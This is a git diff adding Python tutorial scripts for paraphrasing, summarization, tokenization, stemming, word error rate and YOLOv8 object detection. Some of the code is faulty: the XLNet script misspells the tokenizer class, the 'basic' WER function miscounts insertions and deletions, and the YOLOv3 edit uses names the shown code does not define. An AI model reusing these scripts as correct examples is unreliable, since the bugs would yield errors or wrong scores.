\ No newline at end of file
diff --git a/machine-learning/nlp/text-paraphrasing/paraphrasing_with_transformers_pythoncode.py b/machine-learning/nlp/text-paraphrasing/paraphrasing_with_transformers_pythoncode.py
new file mode 100644
index 00000000..01fdfc14
--- /dev/null
+++ b/machine-learning/nlp/text-paraphrasing/paraphrasing_with_transformers_pythoncode.py
@@ -0,0 +1,67 @@
+# -*- coding: utf-8 -*-
+"""Paraphrasing-with-Transformers_PythonCode.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+    https://colab.research.google.com/drive/1bPfvSF7bJqDfw9ZMgfIZPd1Bk-fW7AJY
+"""
+
+!pip install transformers sentencepiece
+
+from transformers import *
+
+# models we gonna use for this tutorial
+model_names = [
+  "tuner007/pegasus_paraphrase",
+  "Vamsi/T5_Paraphrase_Paws",
+  "prithivida/parrot_paraphraser_on_T5", # Parrot
+]
+
+model = PegasusForConditionalGeneration.from_pretrained("tuner007/pegasus_paraphrase")
+tokenizer = PegasusTokenizerFast.from_pretrained("tuner007/pegasus_paraphrase")
+
+def get_paraphrased_sentences(model, tokenizer, sentence, num_return_sequences=5, num_beams=5):
+  # tokenize the text to be form of a list of token IDs
+  inputs = tokenizer([sentence], truncation=True, padding="longest", return_tensors="pt")
+  # generate the paraphrased sentences
+  outputs = model.generate(
+    **inputs,
+    num_beams=num_beams,
+    num_return_sequences=num_return_sequences,
+  )
+  # decode the generated sentences using the tokenizer to get them back to text
+  return tokenizer.batch_decode(outputs, skip_special_tokens=True)
+
+sentence = "Learning is the process of acquiring new understanding, knowledge, behaviors, skills, values, attitudes, and preferences."
+
+get_paraphrased_sentences(model, tokenizer, sentence, num_beams=10, num_return_sequences=10)
+
+get_paraphrased_sentences(model, tokenizer, "To paraphrase a source, you have to rewrite a passage without changing the meaning of the original text.", num_beams=10, num_return_sequences=10)
+
+tokenizer = AutoTokenizer.from_pretrained("Vamsi/T5_Paraphrase_Paws")
+model = AutoModelForSeq2SeqLM.from_pretrained("Vamsi/T5_Paraphrase_Paws")
+
+get_paraphrased_sentences(model, tokenizer, "paraphrase: " + "One of the best ways to learn is to teach what you've already learned")
+
+!pip install git+https://github.com/PrithivirajDamodaran/Parrot_Paraphraser.git
+
+from parrot import Parrot
+
+parrot = Parrot()
+
+phrases = [
+  sentence,
+  "One of the best ways to learn is to teach what you've already learned",
+  "Paraphrasing is the process of coming up with someone else's ideas in your own words"
+]
+
+for phrase in phrases:
+  print("-"*100)
+  print("Input_phrase: ", phrase)
+  print("-"*100)
+  paraphrases = parrot.augment(input_phrase=phrase)
+  if paraphrases:
+    for paraphrase in paraphrases:
+      print(paraphrase)
+
diff --git a/machine-learning/nlp/text-paraphrasing/requirements.txt b/machine-learning/nlp/text-paraphrasing/requirements.txt
new file mode 100644
index 00000000..8851b9f2
--- /dev/null
+++ b/machine-learning/nlp/text-paraphrasing/requirements.txt
@@ -0,0 +1,2 @@
+transformers
+sentencepiece
\ No newline at end of file
diff --git a/machine-learning/nlp/text-summarization/README.md b/machine-learning/nlp/text-summarization/README.md
new file mode 100644
index 00000000..934a1a42
--- /dev/null
+++ b/machine-learning/nlp/text-summarization/README.md
@@ -0,0 +1,5 @@
+# [How to Perform Text Summarization using Transformers in Python](https://www.thepythoncode.com/article/text-summarization-using-huggingface-transformers-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- To use `pipeline` API, use the `using_pipeline.py` script.
+- For more customization, check out `using_t5.py`
\ No newline at end of file
diff --git a/machine-learning/nlp/text-summarization/requirements.txt b/machine-learning/nlp/text-summarization/requirements.txt
new file mode 100644
index 00000000..4803a9a0
--- /dev/null
+++ b/machine-learning/nlp/text-summarization/requirements.txt
@@ -0,0 +1,2 @@
+transformers
+torch
\ No newline at end of file
diff --git a/machine-learning/nlp/text-summarization/using_pipeline.py b/machine-learning/nlp/text-summarization/using_pipeline.py
new file mode 100644
index 00000000..a3d5ee3c
--- /dev/null
+++ b/machine-learning/nlp/text-summarization/using_pipeline.py
@@ -0,0 +1,30 @@
+from transformers import pipeline
+
+# using pipeline API for summarization task
+summarization = pipeline("summarization")
+original_text = """
+Paul Walker is hardly the first actor to die during a production. 
+But Walker's death in November 2013 at the age of 40 after a car crash was especially eerie given his rise to fame in the "Fast and Furious" film franchise. 
+The release of "Furious 7" on Friday offers the opportunity for fans to remember -- and possibly grieve again -- the man that so many have praised as one of the nicest guys in Hollywood. 
+"He was a person of humility, integrity, and compassion," military veteran Kyle Upham said in an email to CNN. 
+Walker secretly paid for the engagement ring Upham shopped for with his bride. 
+"We didn't know him personally but this was apparent in the short time we spent with him. 
+I know that we will never forget him and he will always be someone very special to us," said Upham. 
+The actor was on break from filming "Furious 7" at the time of the fiery accident, which also claimed the life of the car's driver, Roger Rodas. 
+Producers said early on that they would not kill off Walker's character, Brian O'Connor, a former cop turned road racer. Instead, the script was rewritten and special effects were used to finish scenes, with Walker's brothers, Cody and Caleb, serving as body doubles. 
+There are scenes that will resonate with the audience -- including the ending, in which the filmmakers figured out a touching way to pay tribute to Walker while "retiring" his character. At the premiere Wednesday night in Hollywood, Walker's co-star and close friend Vin Diesel gave a tearful speech before the screening, saying "This movie is more than a movie." "You'll feel it when you see it," Diesel said. "There's something emotional that happens to you, where you walk out of this movie and you appreciate everyone you love because you just never know when the last day is you're gonna see them." There have been multiple tributes to Walker leading up to the release. Diesel revealed in an interview with the "Today" show that he had named his newborn daughter after Walker. 
+Social media has also been paying homage to the late actor. A week after Walker's death, about 5,000 people attended an outdoor memorial to him in Los Angeles. Most had never met him. Marcus Coleman told CNN he spent almost $1,000 to truck in a banner from Bakersfield for people to sign at the memorial. "It's like losing a friend or a really close family member ... even though he is an actor and we never really met face to face," Coleman said. "Sitting there, bringing his movies into your house or watching on TV, it's like getting to know somebody. It really, really hurts." Walker's younger brother Cody told People magazine that he was initially nervous about how "Furious 7" would turn out, but he is happy with the film. "It's bittersweet, but I think Paul would be proud," he said. CNN's Paul Vercammen contributed to this report.
+"""
+summary_text = summarization(original_text)[0]['summary_text']
+print("Summary:", summary_text)
+print("="*50)
+# another example
+original_text = """
+For the first time in eight years, a TV legend returned to doing what he does best. 
+Contestants told to "come on down!" on the April 1 edition of "The Price Is Right" encountered not host Drew Carey but another familiar face in charge of the proceedings. 
+Instead, there was Bob Barker, who hosted the TV game show for 35 years before stepping down in 2007. 
+Looking spry at 91, Barker handled the first price-guessing game of the show, the classic "Lucky Seven," before turning hosting duties over to Carey, who finished up. 
+Despite being away from the show for most of the past eight years, Barker didn't seem to miss a beat.
+"""
+summary_text = summarization(original_text)[0]['summary_text']
+print("Summary:", summary_text)
\ No newline at end of file
diff --git a/machine-learning/nlp/text-summarization/using_t5.py b/machine-learning/nlp/text-summarization/using_t5.py
new file mode 100644
index 00000000..b07cdc07
--- /dev/null
+++ b/machine-learning/nlp/text-summarization/using_t5.py
@@ -0,0 +1,25 @@
+from transformers import T5ForConditionalGeneration, T5Tokenizer
+
+# initialize the model architecture and weights
+model = T5ForConditionalGeneration.from_pretrained("t5-base")
+# initialize the model tokenizer
+tokenizer = T5Tokenizer.from_pretrained("t5-base")
+article = """
+Justin Timberlake and Jessica Biel, welcome to parenthood. 
+The celebrity couple announced the arrival of their son, Silas Randall Timberlake, in statements to People. 
+"Silas was the middle name of Timberlake's maternal grandfather Bill Bomar, who died in 2012, while Randall is the musician's own middle name, as well as his father's first," People reports. 
+The couple announced the pregnancy in January, with an Instagram post. It is the first baby for both.
+"""
+# encode the text into tensor of integers using the appropriate tokenizer
+inputs = tokenizer.encode("summarize: " + article, return_tensors="pt", max_length=512, truncation=True)
+# generate the summarization output
+outputs = model.generate(
+    inputs, 
+    max_length=150, 
+    min_length=40, 
+    length_penalty=2.0, 
+    num_beams=4, 
+    early_stopping=True)
+# just for debugging
+print(outputs)
+print(tokenizer.decode(outputs[0]))
\ No newline at end of file
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/README.md b/machine-learning/nlp/tokenization-stemming-lemmatization/README.md
new file mode 100644
index 00000000..f9ba5ebb
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/README.md
@@ -0,0 +1 @@
+# [Tokenization, Stemming, and Lemmatization in Python](https://www.thepythoncode.com/article/tokenization-stemming-and-lemmatization-in-python)
\ No newline at end of file
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/example1_splitting_by_whitespace.py b/machine-learning/nlp/tokenization-stemming-lemmatization/example1_splitting_by_whitespace.py
new file mode 100644
index 00000000..060ca599
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/example1_splitting_by_whitespace.py
@@ -0,0 +1,3 @@
+s = "Hello I am programmer"
+lst = s.split()
+print(lst)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/example2_splitting_by_comma.py b/machine-learning/nlp/tokenization-stemming-lemmatization/example2_splitting_by_comma.py
new file mode 100644
index 00000000..010d294f
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/example2_splitting_by_comma.py
@@ -0,0 +1,3 @@
+s = "Hello, I am programmer"
+lst = s.split(',')
+print(lst)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/example3_splitting_by_whitespace.py b/machine-learning/nlp/tokenization-stemming-lemmatization/example3_splitting_by_whitespace.py
new file mode 100644
index 00000000..4a8cac42
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/example3_splitting_by_whitespace.py
@@ -0,0 +1,11 @@
+def tokenize(file):
+    tok = []
+    f = open(file, 'r')
+    for l in f:
+        lst = l.split()
+        tok.append(lst)
+    return tok
+
+tokens = tokenize('reviews.txt')
+for e in tokens:
+    print(e)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/part_of_speech_tagging.py b/machine-learning/nlp/tokenization-stemming-lemmatization/part_of_speech_tagging.py
new file mode 100644
index 00000000..7f134e2b
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/part_of_speech_tagging.py
@@ -0,0 +1,28 @@
+import nltk
+from nltk.corpus import wordnet
+from nltk.stem import WordNetLemmatizer
+
+word_lst = []
+def lemmatizer(file):
+    lem_lst = []
+    lem = WordNetLemmatizer()
+    f = open(file, 'r')
+    for l in f:
+        word_lst.append(l.strip())
+        w = lem.lemmatize(str(l.strip()))
+        lem_lst.append(w)
+    return lem_lst
+
+def generate_tag(w):
+    t = nltk.pos_tag([w])[0][1][0].upper()
+    dic = {
+        'N': wordnet.NOUN,
+        'V': wordnet.VERB,
+        'A': wordnet.ADJ,
+        'R': wordnet.ADV
+    }
+    return dic.get(t, wordnet.VERB)
+
+lem_lst = lemmatizer('reviews.txt')
+for i in range(len(word_lst)):
+    print(word_lst[i]+"-->"+lem_lst[i])
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/port_stemmer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/port_stemmer.py
new file mode 100644
index 00000000..ee46d37b
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/port_stemmer.py
@@ -0,0 +1,16 @@
+from nltk.stem import PorterStemmer
+
+word_lst = []
+def stemmer(file):
+    stm_lst = []
+    stm = PorterStemmer()
+    f = open(file, 'r')
+    for l in f:
+        word_lst.append(l)
+        w = stm.stem(str(l.strip()))
+        stm_lst.append(w)
+    return stm_lst
+
+stm_lst = stemmer('reviews.txt')
+for i in range(len(word_lst)):
+    print(word_lst[i]+"-->"+stm_lst[i])
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/requirements.txt b/machine-learning/nlp/tokenization-stemming-lemmatization/requirements.txt
new file mode 100644
index 00000000..6389271e
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/requirements.txt
@@ -0,0 +1,5 @@
+textblob
+nltk
+huggingface
+tokenizers
+transformers
\ No newline at end of file
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/reviews.txt b/machine-learning/nlp/tokenization-stemming-lemmatization/reviews.txt
new file mode 100644
index 00000000..5f2bd261
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/reviews.txt
@@ -0,0 +1,4 @@
+The restaurant has a good staff, good food, and a good environment.
+It is a good place for family outings. Hospitable staff.
+The staff is better than other places, but the food is okay.
+People are great here. I loved this place.
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/sentence_tokenization_nltk.py b/machine-learning/nlp/tokenization-stemming-lemmatization/sentence_tokenization_nltk.py
new file mode 100644
index 00000000..150bfed2
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/sentence_tokenization_nltk.py
@@ -0,0 +1,13 @@
+from nltk import sent_tokenize
+
+def tokenize(file):
+    tok = []
+    f = open(file, 'r')
+    for l in f:
+        lst = sent_tokenize(l)
+        tok.append(lst)
+    return tok
+
+tokens = tokenize('reviews.txt')
+for e in tokens:
+    print(e)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/snowball_stemmer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/snowball_stemmer.py
new file mode 100644
index 00000000..378fa82d
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/snowball_stemmer.py
@@ -0,0 +1,16 @@
+from nltk.stem.snowball import SnowballStemmer
+
+word_lst = []
+def stemmer(file):
+    stm_lst = []
+    stm = SnowballStemmer(language='english')
+    f = open(file, 'r')
+    for l in f:
+        word_lst.append(l)
+        w = stm.stem(str(l.strip()))
+        stm_lst.append(w)
+    return stm_lst
+
+stm_lst = stemmer('reviews.txt')
+for i in range(len(word_lst)):
+    print(word_lst[i]+"-->"+stm_lst[i])
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/subword_tokenization_bert.py b/machine-learning/nlp/tokenization-stemming-lemmatization/subword_tokenization_bert.py
new file mode 100644
index 00000000..ba70f355
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/subword_tokenization_bert.py
@@ -0,0 +1,7 @@
+from transformers import BertTokenizer
+
+tk = BertTokenizer.from_pretrained('bert-base-uncased')
+f = open('reviews.txt', 'r')
+for l in f:
+    res = tk.tokenize(l.strip())
+    print(res)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/textblob_tokenization.py b/machine-learning/nlp/tokenization-stemming-lemmatization/textblob_tokenization.py
new file mode 100644
index 00000000..8a1d0ef3
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/textblob_tokenization.py
@@ -0,0 +1,13 @@
+from textblob import TextBlob
+
+def tokenize(file):
+    tok = []
+    f = open(file, 'r')
+    for l in f:
+        lst = TextBlob(l).words
+        tok.append(lst)
+    return tok
+
+tokens = tokenize('reviews.txt')
+for e in tokens:
+    print(e)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/tokenize_bpe_tokenizer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/tokenize_bpe_tokenizer.py
new file mode 100644
index 00000000..0ebbf035
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/tokenize_bpe_tokenizer.py
@@ -0,0 +1,8 @@
+from tokenizers import Tokenizer
+
+tk = Tokenizer.from_file("tokenizer-wiki.json")
+
+f = open('reviews.txt', 'r')
+for l in f:
+    res = tk.encode(l.strip())
+    print(res.tokens)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/training_bpe_tokenizer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/training_bpe_tokenizer.py
new file mode 100644
index 00000000..68eb4e5a
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/training_bpe_tokenizer.py
@@ -0,0 +1,13 @@
+from tokenizers import Tokenizer
+from tokenizers.models import BPE
+from tokenizers.pre_tokenizers import Whitespace
+from tokenizers.trainers import BpeTrainer
+
+tk = Tokenizer(BPE(unk_token="[UNK]"))
+tr = BpeTrainer()
+tk.pre_tokenizer = Whitespace()
+
+f = [f"wikitext-103-raw\wiki.{s}.raw" for s in ["test", "train", "valid"]]
+tk.train(f, tr)
+
+tk.save("tokenizer-wiki.json")
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/word_tokenization_nltk.py b/machine-learning/nlp/tokenization-stemming-lemmatization/word_tokenization_nltk.py
new file mode 100644
index 00000000..9bcc3f2d
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/word_tokenization_nltk.py
@@ -0,0 +1,13 @@
+from nltk import word_tokenize
+
+def tokenize(file):
+    tok = []
+    f = open(file, 'r')
+    for l in f:
+        lst = word_tokenize(l)
+        tok.append(lst)
+    return tok
+
+tokens = tokenize('reviews.txt')
+for e in tokens:
+    print(e)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/wordnet_lemmatizer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/wordnet_lemmatizer.py
new file mode 100644
index 00000000..9a709d06
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/wordnet_lemmatizer.py
@@ -0,0 +1,16 @@
+from nltk.stem import WordNetLemmatizer
+
+word_lst = []
+def lemmatizer(file):
+    lem_lst = []
+    lem = WordNetLemmatizer()
+    f = open(file, 'r')
+    for l in f:
+        word_lst.append(l.strip())
+        w = lem.lemmatize(str(l.strip()))
+        lem_lst.append(w)
+    return lem_lst
+
+lem_lst = lemmatizer('reviews.txt')
+for i in range(len(word_lst)):
+    print(word_lst[i]+"-->"+lem_lst[i])
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/wordpiece_tokenizer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/wordpiece_tokenizer.py
new file mode 100644
index 00000000..baa6d41f
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/wordpiece_tokenizer.py
@@ -0,0 +1,7 @@
+from tokenizers import BertWordPieceTokenizer
+
+tk = BertWordPieceTokenizer("bert-word-piece-vocab.txt", lowercase=True)
+f = open('reviews.txt', 'r')
+for l in f:
+    res = tk.encode(l.strip())
+    print(res.tokens)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/xlnet_sentencepiece_tokenizer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/xlnet_sentencepiece_tokenizer.py
new file mode 100644
index 00000000..305033c8
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/xlnet_sentencepiece_tokenizer.py
@@ -0,0 +1,7 @@
+from transformers import XLNetTokenizer
+
+tk = XLNetTokenize.from_pretrained('xlnet-base-cased')
+f = open('reviews.txt', 'r')
+for l in f:
+    res = tk.tokenize(l.strip())
+    print(res)
diff --git a/machine-learning/nlp/wer-score/README.md b/machine-learning/nlp/wer-score/README.md
new file mode 100644
index 00000000..8e33c7f9
--- /dev/null
+++ b/machine-learning/nlp/wer-score/README.md
@@ -0,0 +1,6 @@
+# [Word Error Rate in Python](https://www.thepythoncode.com/article/calculate-word-error-rate-in-python)
+- `pip install -r requirements.txt`
+- `wer_basic.py` is the basic implementation of WER algorithm.
+- `wer_accurate.py` is the accurate implementation of WER algorithm.
+- `wer_jiwer.py` is the implementation of WER algorithm using [jiwer](https://pypi.org/project/jiwer/).
+- `wer_evaluate.py` is the implementation of WER algorithm using [evaluate](https://pypi.org/project/evaluate/).
\ No newline at end of file
diff --git a/machine-learning/nlp/wer-score/requirements.txt b/machine-learning/nlp/wer-score/requirements.txt
new file mode 100644
index 00000000..577cfc06
--- /dev/null
+++ b/machine-learning/nlp/wer-score/requirements.txt
@@ -0,0 +1,3 @@
+numpy
+jiwer
+evaluate
\ No newline at end of file
diff --git a/machine-learning/nlp/wer-score/wer_accurate.py b/machine-learning/nlp/wer-score/wer_accurate.py
new file mode 100644
index 00000000..b5dbc29a
--- /dev/null
+++ b/machine-learning/nlp/wer-score/wer_accurate.py
@@ -0,0 +1,44 @@
+import numpy as np
+
+def calculate_wer(reference, hypothesis):
+    # Split the reference and hypothesis sentences into words
+    ref_words = reference.split()
+    hyp_words = hypothesis.split()
+    # Initialize a matrix with size |ref_words|+1 x |hyp_words|+1
+    # The extra row and column are for the case when one of the strings is empty
+    d = np.zeros((len(ref_words) + 1, len(hyp_words) + 1))
+    # The number of operations for an empty hypothesis to become the reference
+    # is just the number of words in the reference (i.e., deleting all words)
+    for i in range(len(ref_words) + 1):
+        d[i, 0] = i
+    # The number of operations for an empty reference to become the hypothesis
+    # is just the number of words in the hypothesis (i.e., inserting all words)
+    for j in range(len(hyp_words) + 1):
+        d[0, j] = j
+    # Iterate over the words in the reference and hypothesis
+    for i in range(1, len(ref_words) + 1):
+        for j in range(1, len(hyp_words) + 1):
+            # If the current words are the same, no operation is needed
+            # So we just take the previous minimum number of operations
+            if ref_words[i - 1] == hyp_words[j - 1]:
+                d[i, j] = d[i - 1, j - 1]
+            else:
+                # If the words are different, we consider three operations:
+                # substitution, insertion, and deletion
+                # And we take the minimum of these three possibilities
+                substitution = d[i - 1, j - 1] + 1
+                insertion = d[i, j - 1] + 1
+                deletion = d[i - 1, j] + 1
+                d[i, j] = min(substitution, insertion, deletion)
+    # The minimum number of operations to transform the hypothesis into the reference
+    # is in the bottom-right cell of the matrix
+    # We divide this by the number of words in the reference to get the WER
+    wer = d[len(ref_words), len(hyp_words)] / len(ref_words)
+    return wer
+
+
+
+if __name__ == "__main__":
+    reference = "The cat is sleeping on the mat."
+    hypothesis = "The cat is playing on mat."
+    print(calculate_wer(reference, hypothesis))
diff --git a/machine-learning/nlp/wer-score/wer_basic.py b/machine-learning/nlp/wer-score/wer_basic.py
new file mode 100644
index 00000000..9cc3917b
--- /dev/null
+++ b/machine-learning/nlp/wer-score/wer_basic.py
@@ -0,0 +1,21 @@
+def calculate_wer(reference, hypothesis):
+	ref_words = reference.split()
+	hyp_words = hypothesis.split()
+ 
+	# Counting the number of substitutions, deletions, and insertions
+	substitutions = sum(1 for ref, hyp in zip(ref_words, hyp_words) if ref != hyp)
+	deletions = len(ref_words) - len(hyp_words)
+	insertions = len(hyp_words) - len(ref_words)
+ 
+	# Total number of words in the reference text
+	total_words = len(ref_words)
+ 
+	# Calculating the Word Error Rate (WER)
+	wer = (substitutions + deletions + insertions) / total_words
+	return wer
+
+
+if __name__ == "__main__":
+    reference = "the cat sat on the mat"
+    hypothesis = "the cat mat"
+    print(calculate_wer(reference, hypothesis))
\ No newline at end of file
diff --git a/machine-learning/nlp/wer-score/wer_evaluate.py b/machine-learning/nlp/wer-score/wer_evaluate.py
new file mode 100644
index 00000000..818bf408
--- /dev/null
+++ b/machine-learning/nlp/wer-score/wer_evaluate.py
@@ -0,0 +1,9 @@
+import evaluate
+
+wer = evaluate.load("wer")
+
+# reference = "the cat sat on the mat"
+# hypothesis = "the cat mat"
+reference = "The cat is sleeping on the mat."
+hypothesis = "The cat is playing on mat."
+print(wer.compute(references=[reference], predictions=[hypothesis]))
\ No newline at end of file
diff --git a/machine-learning/nlp/wer-score/wer_jiwer.py b/machine-learning/nlp/wer-score/wer_jiwer.py
new file mode 100644
index 00000000..28fa9572
--- /dev/null
+++ b/machine-learning/nlp/wer-score/wer_jiwer.py
@@ -0,0 +1,8 @@
+from jiwer import wer
+
+if __name__ == "__main__":
+    # reference = "the cat sat on the mat"
+    # hypothesis = "the cat mat"
+    reference = "The cat is sleeping on the mat."
+    hypothesis = "The cat is playing on mat."
+    print(wer(reference, hypothesis))
\ No newline at end of file
diff --git a/machine-learning/object-detection/1.mp4 b/machine-learning/object-detection/1.mp4
new file mode 100644
index 00000000..44305cce
Binary files /dev/null and b/machine-learning/object-detection/1.mp4 differ
diff --git a/machine-learning/object-detection/README.md b/machine-learning/object-detection/README.md
index 921fed32..a73112ac 100644
--- a/machine-learning/object-detection/README.md
+++ b/machine-learning/object-detection/README.md
@@ -1,20 +1,19 @@
 # [How to Perform YOLO Object Detection using OpenCV and PyTorch in Python](https://www.thepythoncode.com/article/yolo-object-detection-with-opencv-and-pytorch-in-python)
 To run this:
 - `pip3 install -r requirements.txt`
-- Download the model weights and put them in `weights` folder.
 - To generate a object detection image on `images/dog.jpg`:
     ```
-    python yolo_opencv.py images/dog.jpg
+    python yolov8_opencv.py images/dog.jpg
     ```
-    A new image `dog_yolo3.jpg` will appear which has the bounding boxes of different objects in the image.
+    A new image `dog_yolo8.jpg` will appear which has the bounding boxes of different objects in the image.
 - For live object detection:
     ```
-    python live_yolo_opencv.py
+    python live_yolov8_opencv.py
     ```
 - If you want to read from a video file and make predictions:
     ```
-    python read_video.py video.avi
+    python read_video_yolov8.py 1.mp4
     ```
     This will start detecting objects in that video, in the end, it'll save the resulting video to `output.avi`
-- If you wish to use PyTorch for GPU acceleration, please install PyTorch CUDA [here](https://pytorch.org/get-started) and use `yolo.py` file.
+- Old files for YOLOv3: `yolo_opencv.py`, `live_yolo_opencv.py`, `read_video.py`
 - Feel free to edit the codes for your needs!
diff --git a/machine-learning/object-detection/live_yolo_opencv.py b/machine-learning/object-detection/live_yolo_opencv.py
index 1a67f116..7c9f1eef 100644
--- a/machine-learning/object-detection/live_yolo_opencv.py
+++ b/machine-learning/object-detection/live_yolo_opencv.py
@@ -16,7 +16,11 @@
 net = cv2.dnn.readNetFromDarknet(config_path, weights_path)
 
 ln = net.getLayerNames()
-ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]
+try:
+    ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]
+except IndexError:
+    # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available
+    ln = [ln[i - 1] for i in net.getUnconnectedOutLayers()]
 
 cap = cv2.VideoCapture(0)
 
@@ -76,9 +80,10 @@
             x, y = boxes[i][0], boxes[i][1]
             w, h = boxes[i][2], boxes[i][3]
             # draw a bounding box rectangle and label on the image
-            color = [int(c) for c in colors[class_ids[i]]]
+
+            color = [int(c) for c in COLORS[class_ids[i]]]
             cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=thickness)
-            text = f"{labels[class_ids[i]]}: {confidences[i]:.2f}"
+            text = f"{LABELS[class_ids[i]]}: {confidences[i]:.2f}"
             # calculate text width & height to draw the transparent boxes as background of the text
             (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0]
             text_offset_x = x
@@ -97,4 +102,4 @@
         break
 
 cap.release()
-cv2.destroyAllWindows()
\ No newline at end of file
+cv2.destroyAllWindows()
diff --git a/machine-learning/object-detection/live_yolov8_opencv.py b/machine-learning/object-detection/live_yolov8_opencv.py
new file mode 100644
index 00000000..c91b13d2
--- /dev/null
+++ b/machine-learning/object-detection/live_yolov8_opencv.py
@@ -0,0 +1,75 @@
+import cv2
+import numpy as np
+
+import time
+import sys
+
+from ultralytics import YOLO
+
+
+CONFIDENCE = 0.5
+font_scale = 1
+thickness = 1
+labels = open("data/coco.names").read().strip().split("\n")
+colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8")
+
+model = YOLO("yolov8n.pt")
+
+cap = cv2.VideoCapture(0)
+_, image = cap.read()
+h, w = image.shape[:2]
+fourcc = cv2.VideoWriter_fourcc(*"XVID")
+out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h))
+while True:
+    _, image = cap.read()
+    
+    start = time.perf_counter()
+    # run inference on the image 
+    # see: https://docs.ultralytics.com/modes/predict/#arguments for full list of arguments
+    results = model.predict(image, conf=CONFIDENCE)[0]
+    time_took = time.perf_counter() - start
+    print("Time took:", time_took)
+
+    # loop over the detections
+    for data in results.boxes.data.tolist():
+        # get the bounding box coordinates, confidence, and class id 
+        xmin, ymin, xmax, ymax, confidence, class_id = data
+        # converting the coordinates and the class id to integers
+        xmin = int(xmin)
+        ymin = int(ymin)
+        xmax = int(xmax)
+        ymax = int(ymax)
+        class_id = int(class_id)
+
+        # draw a bounding box rectangle and label on the image
+        color = [int(c) for c in colors[class_id]]
+        cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness)
+        text = f"{labels[class_id]}: {confidence:.2f}"
+        # calculate text width & height to draw the transparent boxes as background of the text
+        (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0]
+        text_offset_x = xmin
+        text_offset_y = ymin - 5
+        box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height))
+        overlay = image.copy()
+        cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED)
+        # add opacity (transparency to the box)
+        image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0)
+        # now put the text (label: confidence %)
+        cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX,
+            fontScale=font_scale, color=(0, 0, 0), thickness=thickness)
+
+    # end time to compute the fps
+    end = time.perf_counter()
+    # calculate the frame per second and draw it on the frame
+    fps = f"FPS: {1 / (end - start):.2f}"
+    cv2.putText(image, fps, (50, 50),
+                cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 0), 6)
+    out.write(image)
+    cv2.imshow("image", image)
+    
+    if ord("q") == cv2.waitKey(1):
+        break
+
+
+cap.release()
+cv2.destroyAllWindows()
\ No newline at end of file
diff --git a/machine-learning/object-detection/read_video.py b/machine-learning/object-detection/read_video.py
index 123bb742..752d37a7 100644
--- a/machine-learning/object-detection/read_video.py
+++ b/machine-learning/object-detection/read_video.py
@@ -17,7 +17,11 @@
 net = cv2.dnn.readNetFromDarknet(config_path, weights_path)
 
 ln = net.getLayerNames()
-ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]
+try:
+    ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]
+except IndexError:
+    # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available
+    ln = [ln[i - 1] for i in net.getUnconnectedOutLayers()]
 # read the file from the command line
